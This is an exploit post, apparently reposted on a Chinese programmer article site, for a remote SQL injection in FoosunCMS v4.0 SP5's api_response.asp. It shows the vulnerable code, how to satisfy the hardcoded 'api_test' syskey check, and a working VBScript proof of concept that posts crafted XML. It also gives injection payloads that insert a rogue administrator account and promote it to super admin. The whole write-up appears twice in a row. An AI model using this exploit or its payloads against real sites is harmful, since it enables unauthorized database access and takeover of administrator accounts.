FoosunCMS Sql Injection Vulnerability
程序员文章站
2022-03-06 18:29:39
--== =================== www.nspcn.org ================= ==--
--== FoosunCMS (API_Response.asp) Remote SQL Injection Exploit ==--
--== =============================... 08-10-08...
--== =================== www.nspcn.org ================= ==--
--== foosuncms (api_response.asp) remote sql injection exploit ==--
--== =================================================== ==--
#author: tr4c3[at]126[dot]com
#版权所有: http://www.nspcn.org & [bk瞬间群]
#漏洞文件 api/api_response.asp
#影响版本:v4.0 sp5[其他版本未看]
#漏洞原因:
变量username未经过滤传值,带入sql执行,导致注入产生。
#关键代码:
if checkpost() then
select case act
case "checkname" 触发注入
checkname()
checkpost()函数原型在行73-96,username由此获取值,代码如下:
xmldoc.documentelement.selectsinglenode("username")
checkname()函数在行233-254,代码如下:
sub checkname()
dim useremail
dim temp_tr,i,rs,sql
useremail = trim(xmldoc.documentelement.selectsinglenode("email").text)
if messenge<>"" then
输出错误信息
status = 1
exit sub
end if
sql="select username,email from fs_me_users where username = "& username &"" 在此带入sql执行
set rs = user_conn.execute(sql)
if not rs.eof and not rs.bof then
messenge = "您填写的用户名已经被注册。"
status = 1
exit sub
else
status = 0
messenge = "验证通过。"
end if
rs.close
set rs = nothing
end sub
利用的关键在于让checkpost()为真,代码如下:
dim newmd5,oldmd5
newmd5 = md5(username&api_syskey,16) const api_syskey = "api_test"
oldmd5 = md5(username&api_syskey,16)
if syskey=newmd5 or syskey=oldmd5 then
checkpost = true
else
status = 1
messenge = messenge & "<li>请求数据验证不通过,请与管理员联系。"
end if
api_syskey在api_config.asp里16行被设置
const api_syskey = "api_test"
把注入语句 & api_syskey 进行一次md5加密之后的16位hash,赋值给syskey就可以了。
###poc:
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 by tr4c3[at]126[dot]com
rem 更多信息请关注:
rem 网安阵线 http//www.nspcn.org/
rem web安全手册 http//www.tr4c3.com/
rem bk瞬间[qq群]
rem 转载请保留以上版权
dim strdata, strurl, strgetinfo, xpost
strdata = "<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>foosuncms</appid><username></username></body>"
strurl = "http//demo.foosun.net/api/api_response.asp"
set xpost = createobject("microsoft.xmlhttp")
xpost.open "post", strurl, false
xpost.setrequestheader "content-type", "application/x-www-form-urlencoded"
xpost.setrequestheader "referer", strurl
xpost.send(strdata)
strgetinfo = xpost.responsetext
strgetinfo = bytes2bstr(xpost.responsebody)
wscript.echo(strgetinfo)
wscript.quit
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem 将返回内容转换成简体中文
function bytes2bstr(vin)
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i 1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 cint(nextcharcode))
i = i 1
end if
next
bytes2bstr = strreturn
end function
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem ;insert into fs_mf_admin (admin_name,admin_pass_word)values(tr4c3,83aa400af464c76d)-- 添加一个普通管理员tr4c3,密码12345678
rem ;update fs_mf_admin set admin_is_super=1 where admin_name=tr4c3-- 把tr4c3提升为超级管理员
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
--== foosuncms (api_response.asp) remote sql injection exploit ==--
--== =================================================== ==--
#author: tr4c3[at]126[dot]com
#版权所有: http://www.nspcn.org & [bk瞬间群]
#漏洞文件 api/api_response.asp
#影响版本:v4.0 sp5[其他版本未看]
#漏洞原因:
变量username未经过滤传值,带入sql执行,导致注入产生。
#关键代码:
if checkpost() then
select case act
case "checkname" 触发注入
checkname()
checkpost()函数原型在行73-96,username由此获取值,代码如下:
xmldoc.documentelement.selectsinglenode("username")
checkname()函数在行233-254,代码如下:
sub checkname()
dim useremail
dim temp_tr,i,rs,sql
useremail = trim(xmldoc.documentelement.selectsinglenode("email").text)
if messenge<>"" then
输出错误信息
status = 1
exit sub
end if
sql="select username,email from fs_me_users where username = "& username &"" 在此带入sql执行
set rs = user_conn.execute(sql)
if not rs.eof and not rs.bof then
messenge = "您填写的用户名已经被注册。"
status = 1
exit sub
else
status = 0
messenge = "验证通过。"
end if
rs.close
set rs = nothing
end sub
利用的关键在于让checkpost()为真,代码如下:
dim newmd5,oldmd5
newmd5 = md5(username&api_syskey,16) const api_syskey = "api_test"
oldmd5 = md5(username&api_syskey,16)
if syskey=newmd5 or syskey=oldmd5 then
checkpost = true
else
status = 1
messenge = messenge & "<li>请求数据验证不通过,请与管理员联系。"
end if
api_syskey在api_config.asp里16行被设置
const api_syskey = "api_test"
把注入语句 & api_syskey 进行一次md5加密之后的16位hash,赋值给syskey就可以了。
###poc:
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem 风讯4.0 sp5[mssql] 注入漏洞测试脚本 by tr4c3[at]126[dot]com
rem 更多信息请关注:
rem 网安阵线 http//www.nspcn.org/
rem web安全手册 http//www.tr4c3.com/
rem bk瞬间[qq群]
rem 转载请保留以上版权
dim strdata, strurl, strgetinfo, xpost
strdata = "<body><userip>999.999.999.999</userip><email>body@baidu.com</email><action>checkname</action><syskey>b77c8e0d7a0784d5</syskey><appid>foosuncms</appid><username></username></body>"
strurl = "http//demo.foosun.net/api/api_response.asp"
set xpost = createobject("microsoft.xmlhttp")
xpost.open "post", strurl, false
xpost.setrequestheader "content-type", "application/x-www-form-urlencoded"
xpost.setrequestheader "referer", strurl
xpost.send(strdata)
strgetinfo = xpost.responsetext
strgetinfo = bytes2bstr(xpost.responsebody)
wscript.echo(strgetinfo)
wscript.quit
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem 将返回内容转换成简体中文
function bytes2bstr(vin)
strreturn = ""
for i = 1 to lenb(vin)
thischarcode = ascb(midb(vin,i,1))
if thischarcode < &h80 then
strreturn = strreturn & chr(thischarcode)
else
nextcharcode = ascb(midb(vin,i 1,1))
strreturn = strreturn & chr(clng(thischarcode) * &h100 cint(nextcharcode))
i = i 1
end if
next
bytes2bstr = strreturn
end function
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
rem ;insert into fs_mf_admin (admin_name,admin_pass_word)values(tr4c3,83aa400af464c76d)-- 添加一个普通管理员tr4c3,密码12345678
rem ;update fs_mf_admin set admin_is_super=1 where admin_name=tr4c3-- 把tr4c3提升为超级管理员
rem -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
推荐阅读
-
ORACLE LATERAL-SQL-INJECTION 个人见解
-
WordPress 2.6.1 SQL Column Truncation Vulnerability
-
一个asp函数, 解决SQL Injection漏洞
-
vBulletin Forum 2.3.xx SQL Injection
-
用PHP函数解决SQL injection
-
DVWA V1.9:SQL Injection(SQL注入)
-
攻击方式学习之SQL注入(SQL Injection)第3/3页
-
WordPress 2.6.1 SQL Column Truncation Vulnerability分析
-
Web安全相关(五):SQL注入(SQL Injection)
-
BurpSuite教程与技巧之SQL Injection